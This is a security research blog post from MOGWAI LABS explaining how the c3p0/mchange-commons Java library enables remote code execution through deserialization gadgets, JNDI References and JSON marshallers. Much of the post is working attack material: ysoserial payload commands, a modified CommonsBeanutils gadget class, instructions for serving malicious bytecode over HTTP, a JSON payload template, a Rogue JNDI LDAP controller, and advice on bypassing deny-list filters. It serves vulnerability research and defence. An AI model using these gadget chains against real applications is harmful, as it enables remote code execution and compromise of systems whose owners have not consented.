c3p0, you little rascal

The c3p0 library provides many useful exploitation primitives, deserving more attention

Hans-Martin Münch

Since the enforcement of the Java Module System in Java 16, deserialization gadget chains that enable direct remote code execution have become increasingly rare. One notable exception is the gadget from the JDBC connection pool library c3p0.

c3p0 (along with its dependency mchange-commons-java) provides multiple features that can be useful when exploiting Java applications. The most powerful primitive the possiblity to load classes from an attacker-controlled resource, which still works on the latest Java versions. However, c3p0 is not included in many deserialization scanners, likely because exploitation is not as straightforward as with other gadgets.

This post does not really introduce any new findings; rather, it serves as a detailed write-up of known gadgets, how they work in detail and their usage. It builds heavily on the excellent work of Moritz Bechler, who contributed the c3p0 gadget chain to ysoserial and introduced several JSON-related gadgets in his well-known “marshalsec” paper.

Meet c3p0

time-consuming process, so enterprise applications typically maintain a pool of open connections to efficiently communicate with an SQL database.

c3p0 is quite old and includes many features that are no longer essential in modern application stacks. As a result, many applications have migrated to other pooling libraries, such as HikariCP or Apache Commons DBCP2. However, some widely used libraries still depend on c3p0, meaning it is often present in an application's classpath.

mchange-commons-java

c3p0 relies on mchange-commons-java, a library developed by the same authors. This library contains the actual code that is used to gain code execution. For simplicity, we will not distinguish between c3p0 and mchange-commons-java.

The ysoserial Gadget Chain

Let's begin with the gadget chain included in ysoserial, which starts with the **`PoolBackedDataSourceBase`** class.

To understand how this gadget works, we first examine the "writeObject" method, which is invoked when a PoolBackedDataSourceBase instance is serialized. Specifically, we are interested in what happens if the connectionPoolDataSource property cannot be serialized. This occurs when the class of this object does not implement the Serializable interface.

```
1 private void writeObject(ObjectOutputStream oos) throws IOException {
2     oos.writeShort(1);
3 
4     try {
5         SerializableUtils.toByteArray(this.connectionPoolDataSource);
6         oos.writeObject(this.connectionPoolDataSource);
```

```
9           try {
10              ReferenceIndirector indirectionOtherException = new Referen
11              oos.writeObject(indirectionOtherException.indirectForm(this
12          } catch (IOException var4) {
13              throw var4;
14          } catch (Exception var5) {
15              throw new IOException("Problem indirectly serializing conne
16          }
17      }
```

If the object is not serializable, c3p0 serializes an indirect form of the object instead. When implementing this feature in the "ReferenceIndirector" class, the c3p0/mchange-commons developers borrowed the Naming References concept from JNDI, which was designed to deal with the same issue.

To quote Michael Stepankin's excellent blog post, "Exploiting JNDI Injections in Java":

> *"If this object is an instance of "javax.naming.Reference" class, a JNDI client tries to resolve the "classFactory" and "classFactoryLocation" attributes of this object. If the "classFactory" value is unknown to the target Java application, it fetches the factory's bytecode from the "classFactoryLocation" location by using Java's URLClassLoader."*

This idea seemed great when JNDI was first designed but ultimately became a security nightmare, as we saw with Log4Shell. To mitigate abuse, Oracle modified the default behavior in Java 8u191, disabling remote class loading from the classFactoryLocation reference. However, this change was not applied to c3p0's indirectForm, meaning the library still allows remote class loading—even in the latest Java versions!

Here the readObject() implementation from the **`PoolBackedDataSourceBase`** class:

```
1 private void readObject(ObjectInputStream ois) throws IOException, Clas
2     short version = ois.readShort();
```

```
            Object o = ois.readObject();
            if (o instanceof IndirectlySerialized) {
                o = ((IndirectlySerialized) o).getObject();
            }

            this.connectionPoolDataSource = (ConnectionPoolDataSource)
            this.dataSourceName = (String) ois.readObject();
            this.factoryClassLocation = (String) ois.readObject();
            this.identityToken = (String) ois.readObject();
            this.numHelperThreads = ois.readInt();
            this.pcs = new PropertyChangeSupport(this);
            this.vcs = new VetoableChangeSupport(this);
            return;
        default:
            throw new IOException("Unsupported Serialized Version: " +
    }
}
```

The ReferenceSerialized class is the actual implementation of the **`IndirectlySerialized`** interface. It contains a **`Reference`** that will become important later:

```
private static class ReferenceSerialized implements IndirectlySerialize
    {
    Reference   reference;
    Name        name;
    Name        contextName;
    Hashtable   env;

    ReferenceSerialized( Reference   reference,
                 Name        name,
                 Name        contextName,
                 Hashtable   env )
    {
        this.reference = reference;
        this.name = name;
        this.contextName = contextName;
```

Now, let's examine the **`getObject`** method from the ReferenceSerialized class which is invoked when an object stored in c3p0's indirect form is deserialized. This method creates a new InitialContext and then calls **`ReferenceableUtils.referenceToObject`** with attacker-controlled parameters.

```
1  public Object getObject() throws ClassNotFoundException, IOException
2  {
3      try
4      {
5          Context initialContext;
6          if ( env == null )
7          initialContext = new InitialContext();
8          else
9          initialContext = new InitialContext( env );
10         Context nameContext = null;
11         if ( contextName != null )
12         nameContext = (Context) initialContext.lookup( contextName );
13         return ReferenceableUtils.referenceToObject( reference, name, n
14     }
15     catch (NamingException e)
16     {
17         //e.printStackTrace();
18         if ( logger.isLoggable( MLevel.WARNING ) )
19         logger.log( MLevel.WARNING, "Failed to acquire the Context nece
20         throw new InvalidObjectException( "Failed to acquire the Contex
21     }
22 }
```

In line 12, we can already see a JNDI lookup to an attacker-controlled address. On old Java versions, this would already be sufficient to gain remote code execution. However, this step is skipped if no contextName is provided. We also don't need it here, as we already set the reference during the deserialization of the object.

instance. This is done by extracting the data from the attacker-provided Reference instance.

```
1  public static Object referenceToObject(Reference ref, Name name, Contex
2          throws NamingException {
3      try {
4          String fClassName = ref.getFactoryClassName();
5          String fClassLocation = ref.getFactoryClassLocation();
6          ClassLoader cl;
7          if (fClassLocation == null)
8              cl = ClassLoader.getSystemClassLoader();
9          else {
10             URL u = new URL(fClassLocation);
11             cl = new URLClassLoader(new URL[]{u}, ClassLoader.getSystem
12         }
13         Class fClass = Class.forName(fClassName, true, cl);
14         ObjectFactory of = (ObjectFactory) fClass.newInstance();
15         return of.getObjectInstance(ref, name, nameCtx, env);
16     } catch (Exception e) {
17         if (Debug.DEBUG) {
18             //e.printStackTrace();
19             if (logger.isLoggable(MLevel.FINE))
20                 logger.log(MLevel.FINE, "Could not resolve Reference to
21         }
22         NamingException ne = new NamingException("Could not resolve Ref
23         ne.setRootCause(e);
24         throw ne;
25     }
26 }
```

Moritz Bechler's c3p0 deserialization gadget is a **`PoolBackedDataSourceBase`** object that includes a JNDI Naming Reference to reconstruct its **`connectionPoolDataSource`** property during deserialization. This property is filled with a instance from a class, that is also part of the gadget. Note that this class does not implement the **`Serializable`** interface, and can't therefore be

```
private static final class PoolSource implements ConnectionPoolDataSour

    private String className;
    private String url;
    public PoolSource ( String className, String url ) {
        this.className = className;
        this.url = url;
    }
    public Reference getReference () throws NamingException {
        return new Reference("exploit", this.className, this.url);
    }
    public PrintWriter getLogWriter () throws SQLException {return null
    public void setLogWriter ( PrintWriter out ) throws SQLException {}
    public void setLoginTimeout ( int seconds ) throws SQLException {}
    public int getLoginTimeout () throws SQLException {return 0;}
    public Logger getParentLogger () throws SQLFeatureNotSupportedExcep
    public PooledConnection getPooledConnection () throws SQLException
    public PooledConnection getPooledConnection ( String user, String p

}
```

During the deserialization process, c3p0 attempts to build the ObjectFactory to create the connectionPoolDataSource, using the values from the attacker-controlled reference. Since we provide a classFactoryLocation in the reference, the URLClassLoader will fetch the bytecode from an attacker-controlled system and instantiate a new object—just like in the good old days.

As the final step, we need to supply the bytecode for our class, embedding the malicious code within its constructor:

```
package mogwailabs;

public class Exploit {
    public Exploit() {
        try {
```

```
            e.printStackTrace();
        }
    }
}
```

You can compile this class using **`javac`** from the command line and serve it via a web server.

```
javac Exploit.java
```

Please note that an ’extra directory’ is needed on the web server to match the directory structure expected by the URLClassLoader. From the URLClassLoader documentation.:

> *“Any URL that ends with a ‘/’ is assumed to refer to a directory. Otherwise, the URL is assumed to refer to a JAR file which will be opened as needed.”*

In this example, we used the package “mogwailabs”, so we need to place our payload in a corresponding directory.

```
mkdir mogwailabs
cp Exploit.java mogwailabs
python -m http.server
```

Finally, we generate the serialized object using **`ysoserial`** with the following command. The gadget expects the URL of the class and the class name as arguments.

```
java -jar ysoserial-all.jar C3P0 http://localhost:8000/:mogwailabs.Explo
```

Gadget Variations

The following code snippet shows the “readObject” implementation from the JndiRefDataSourceBase class. This implementation can load the “jndiName” property from an indirectly serialized object.

```
1  private void readObject(ObjectInputStream ois) throws IOException, Clas
2      short version = ois.readShort();
3      switch (version) {
4          case 1:
5              this.caching = ois.readBoolean();
6              this.factoryClassLocation = (String) ois.readObject();
7              this.identityToken = (String) ois.readObject();
8              this.jndiEnv = (Hashtable) ois.readObject();
9              Object o = ois.readObject();
10             if (o instanceof IndirectlySerialized) {
11                 o = ((IndirectlySerialized) o).getObject();
12             }
13             this.jndiName = o;
14             this.pcs = new PropertyChangeSupport(this);
15             this.vcs = new VetoableChangeSupport(this);
16             return;
17         default:
18             throw new IOException("Unsupported Serialized Version: " +
19     }
20 }
```

We can modify the existing c3p0 gadget in ysoserial, to use this class. This might be useful if we need to bypass an block-list filter that contains the classes **`com.mchange.v2.c3p0.PoolBackedDataSource`** or **`com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase`**. Here the modified implementation of the **`getObject`** class from the modified gadget.

```
1      public Object getObject ( String command ) throws Exception {
2          int sep = command.lastIndexOf(':');
3          if ( sep < 0 ) {
4              throw new IllegalArgumentException("Command format is: <bas
```

```
7           String url = command.substring(0, sep);
8           String className = command.substring(sep + 1);
9
10          JndiRefDataSourceBase b = Reflections.createWithoutConstructor(
11          Reflections.getField(JndiRefDataSourceBase.class, "jndiName").s
12          return b;
13      }
```

It is also possible to use the **`ReferenceIndirector`** class as a replacement for the **`TemplatesImpl`**, which was the most common primitive to get code execution before Java 16. Again, this can be useful when bypassing some deserialization filters. For example, here is an version of the CommonBeanUtils gadget, using the remote class loading feature from c3p0.

```
1  package ysoserial.payloads;
2
3  import java.math.BigInteger;
4  import java.util.PriorityQueue;
5
6  import javax.naming.NamingException;
7  import javax.naming.Reference;
8  import javax.naming.Referenceable;
9
10
11 import com.mchange.v2.ser.IndirectlySerialized;
12 import org.apache.commons.beanutils.BeanComparator;
13 import com.mchange.v2.naming.ReferenceIndirector;
14 import ysoserial.payloads.annotation.Authors;
15 import ysoserial.payloads.annotation.Dependencies;
16 import ysoserial.payloads.util.PayloadRunner;
17 import ysoserial.payloads.util.Reflections;
18
19 @SuppressWarnings({ "rawtypes", "unchecked" })
20 @Dependencies({"commons-beanutils:commons-beanutils:1.9.2", "commons-co
21 @Authors({ Authors.FROHOFF })
22 public class CommonsBeanutils2 implements ObjectPayload<Object> {
23
```

```
        int sep = command.lastIndexOf(':');
        if ( sep < 0 ) {
            throw new IllegalArgumentException("Command format is: <bas
        }

        String url = command.substring(0, sep);
        String className = command.substring(sep + 1);

        final Object references = getReference(className, url);
        // mock method name until armed
        final BeanComparator comparator = new BeanComparator("lowestSet

        // create queue with numbers and basic comparator
        final PriorityQueue<Object> queue = new PriorityQueue<Object>(2
        // stub data for replacement later
        queue.add(new BigInteger("1"));
        queue.add(new BigInteger("1"));

        // switch method called by comparator
        Reflections.setFieldValue(comparator, "property", "object");

        // switch contents of queue
        final Object[] queueArray = (Object[]) Reflections.getFieldValu
        queueArray[0] = references;
        queueArray[1] = references;

        return queue;
    }

    private IndirectlySerialized getReference(String className, String

        ReferenceIndirector tmp = new ReferenceIndirector();
        return tmp.indirectForm(new RefObject(className, url));
    }

    private static final class RefObject implements Referenceable {

        private String className;
```

```
66          public RefObject(String className, String url) {
67              this.className = className;
68              this.url = url;
69          }
70
71          public Reference getReference() throws NamingException {
72              return new Reference("exploit", this.className, this.url);
73          }
74
75      }
76
77          public static void main(final String[] args) throws Exception {
78          PayloadRunner.run(CommonsBeanutils2.class, args);
79      }
80  }
```

c3p0 and JSON Deserialization

The deserialization of JSON objects typically works differently from native Java deserialization. In his well-known Java Unmarshaller Security paper, Moritz Bechler analyzed the deserialization process of various marshallers and explored whether they could be exploited by attackers. Here, we focus on JSON deserialization, as it is the most common case.

Most JSON marshallers do not allow the deserialization of arbitrary Java objects. Instead, objects must adhere to the JavaBean Specification. Specifically, they must provide:

A default constructor (a no-argument constructor) Setter methods (e.g., setXXX methods)

This restriction exists due to the way JSON deserialization works. Simplified, the process follows these steps:

1. A new object instance is created using the default constructor.

In the marshalsec project, Moritz Bechler describes two c3p0 gadgets that conform to these requirements:

- **JndiRefForwardingDataSource** (chapter 4.8)
  Allows an outgoing JNDI call to an attacker controlled naming service
- **WrapperConnectionPoolDataSource** (chapter 4.9)
  Allows a switch to native deserialization

Both gadgets enable a transition from JSON deserialization to native Java deserialization, allowing us to reuse ysoserial gadgets to achieve remote code execution. We will focus on WrappedConnectionPoolDataSource, as it can also be leveraged with other deserialization gadgets.

Below is the gadget chain description from Moritz Bechler's marshalsec paper:

1. Set the "userOverridesAsString" property to trigger the PropertyChangeEvent listener registered in the constructor.
2. The listener calls C3P0ImplUtils->parseUserOverridesAsString() with the property value. Part of that is hex decoded (stripping the first 22 characters as well the last) and deserialized (Java).
3. com.mchange.v2.ser.IndirectlySerialized->getObject() is called if the de-serialized object implements that interface.
4. com.mchange.v2.naming.ReferenceIndirector$ReferenceSerialized is such an implementation. It will instantiate a class from a remote class path as JNDI ObjectFactory.

Practically, we only need the first two steps, as this allows us to transition from JSON deserialization to native Java deserialization. From there, we can use the existing c3p0 gadget from ysoserial to achieve remote code execution. However, we are not limited to this approach—any other native deserialization gadget present in the target's classpath can be used. In certain cases, such as

For demonstration purposes, we will use the JSON serializer “Flexjson”. Flexjson is particularly suitable because it embeds type information in every JSON object and does not apply filters that would block the deserialization of known malicious gadgets.

Here’s a small demo program that kicks of the deserialization:

```
1  package de.mogwailabs;
2
3  import com.mchange.v2.c3p0.WrapperConnectionPoolDataSource;
4  import flexjson.JSONDeserializer;
5
6  import java.io.IOException;
7  import java.nio.file.Files;
8  import java.nio.file.Paths;
9
10 public class C3P0Tester {
11     public static void main(String[] args) throws IOException {
12         String filePath = args[0];
13         String json = new String(Files.readAllBytes(Paths.get(filePath)
14
15         JSONDeserializer deserializer = new JSONDeserializer();
16         deserializer.deserialize(json, String.class);
17     }
18 }
```

First, we generate the payload using **`ysoserial`**. Then, we use **`xxd`** to convert it into the required format:

```
1  java -jar target/ysoserial-all.jar C3P0 http://localhost:8000/:mogwailab
```

Copy the payload into this JSON structure and save it to a file:

```
2    "class": "com.mchange.v2.c3p0.WrapperConnectionPoolDataSource",
3    "userOverridesAsString": "HexAsciiSerializedMap:<place payload here>;"
4 }
```

Note: The semicolon is mandatory!

JNDI and c3p0s JavaBeanObjectFactory

As previously mentioned, Java 8u191 disabled remote class loading for JNDI object factories. However, it is still possible to specify an arbitrary factory class in the javaFactory attribute, as long as it exists in the target's classpath and implements the necessary interfaces and methods.

Attacks may still be feasible if the target application includes an ObjectFactory implementation that improperly handles the attributes of a provided Reference. In 2019, Michael Stepankin discovered such an ObjectFactory in Apache Tomcat, named org.apache.naming.factory.BeanFactory. Due to a special feature of this class, attackers could exploit it to achieve arbitrary code execution.

Interestingly, c3p0 (or to be more precise: mchange-commons) provides a similar ObjectFactory implementation called **`JavaBeanObjectFactory`**. As the name suggests, this class closely resembles Tomcat's BeanFactory. The following code snippet shows the findBean method, which is responsible for instantiating and populating the bean:

```
1 protected Object findBean(Class beanClass, Map propertyMap, Set refProp
2 {
3 Object bean = createBlankInstance( beanClass );
4 BeanInfo bi = Introspector.getBeanInfo( bean.getClass() );
5 PropertyDescriptor[] pds = bi.getPropertyDescriptors();
6
7 for (int i = 0, len = pds.length; i < len; ++i)
8     {
9     PropertyDescriptor pd = pds[i];
```

```
12      Method setter = pd.getWriteMethod();
13      if (value != null)
14          {
15          if (setter != null)
16              setter.invoke( bean, new Object[] { (value == NULL_TOKEN ?
17          else
18              {
19              //System.err.println(this.getClass().getName() + ": Could n
20              if (logger.isLoggable( MLevel.WARNING ))
21                  logger.warning(this.getClass().getName() + ": Could not
22              }
23          }
24      else
25          {
26          if (setter != null)
27              {
28              if (refProps == null || refProps.contains( propertyName ))
29              {
30                  //System.err.println(this.getClass().getName() +
31                  //": WARNING -- Expected writable property '" + propert
32                  if (logger.isLoggable( MLevel.WARNING ))
33                      logger.warning(this.getClass().getName() + " -- Exp
34                  }
35              }
36          }
37      }
38
39      return bean;
40  }
```

The code first creates a new instance of the Bean by calling its default constructor (line 3). It then invokes the corresponding setter methods based on the provided Bean information (line 16). This follows the exact same process described in the JSON example, meaning we could reuse the same gadgets here.

c3p0 gadget chain.

For example, we can achieve this by generating a serialized Java object using **`ysoserial`**:

```
1 java -jar ysoserial-all.jar C3P0 http://localhost:8000/:xExportObject >
```

We can then serve the serialized object using a tool like ROGUE JNDI NG, which already includes the xExportObject class referenced in our ysoserial command.

```
1 java -jar RogueJndi-1.1.jar --generic-payload-path /tmp/c3p0.serial
```

While working on this blog post, I realized that Moritz Bechler had also discovered this ObjectFactory (unsurprisingly). He documented it in the LDAP Swiss Army Knife paper for the SySS tool ldap-swak:

> *“SySS GmbH also discovered another exploitable ObjectFactory implementation in the c3po library: com.mchange.v2.naming.JavaBeanObjectFactory allows to invoke remote classloading. However, as this library also contains a deserialization gadget, currently there does not seem to be any real benefit in using this technique.”*

One scenario where the usage of this ObjectFactory might be useful would be the case of a global deserialization filter that works on an deny-list approach, including the **`WrapperConnectionPoolDataSource`** class.

So just for completeness, here our ROGUE JNDI NG implementation:

```
1 @LdapMapping(uri = { "/o=c3p0" })
2 public class C3p0 implements LdapController {
3     public void sendResult(InMemoryInterceptedSearchResult result, Stri
4 
5         System.out.println("Sending LDAP ResourceRef result for " + bas
```

```
8
9           String overrideString = makeC3P0UserOverridesString(classloader
10          Entry e = new Entry(base);
11          e.addAttribute("javaClassName", "java.lang.String"); //could be
12
13          Reference c3p0Reference = new Reference("com.mchange.v2.c3p0.Wr
14          c3p0Reference.add(new StringRefAddr("userOverridesAsString", ov
15
16          e.addAttribute("javaSerializedData", serialize(c3p0Reference));
17
18          result.sendSearchEntry(e);
19          result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
20      }
21
22      // Taken from Moritz Bechlers Marshalsec repository
23      // https://github.com/mbechler/marshalsec/blob/master/src/main/java
24      public static String makeC3P0UserOverridesString ( String codebase,
25              InstantiationException, IllegalAccessException, InvocationT
26
27          ByteArrayOutputStream b = new ByteArrayOutputStream();
28          try ( ObjectOutputStream oos = new ObjectOutputStream(b) ) {
29              Class<?> refclz = Class.forName("com.mchange.v2.naming.Refe
30              Constructor<?> con = refclz.getDeclaredConstructor(Referenc
31              con.setAccessible(true);
32              Reference jndiref = new Reference("Foo", clazz, codebase);
33              Object ref = con.newInstance(jndiref, null, null, null);
34              oos.writeObject(ref);
35          }
36
37          return "HexAsciiSerializedMap:" + Hex.encodeHexString(b.toByteA
38      }
39  }
```

Thanks for reading 😀.

28 February 2025 | 17 min read

deserialization Java JNDI JSON

← Back to the blog

Contact

If you would like to know more about us or our services, feel free to contact us.

Contact form

Address

MOGWAI LABS GmbH
Am Steg 3
89231 Neu-Ulm
Germany

Imprint - Legal Notice

Legal Statement

Privacy Policy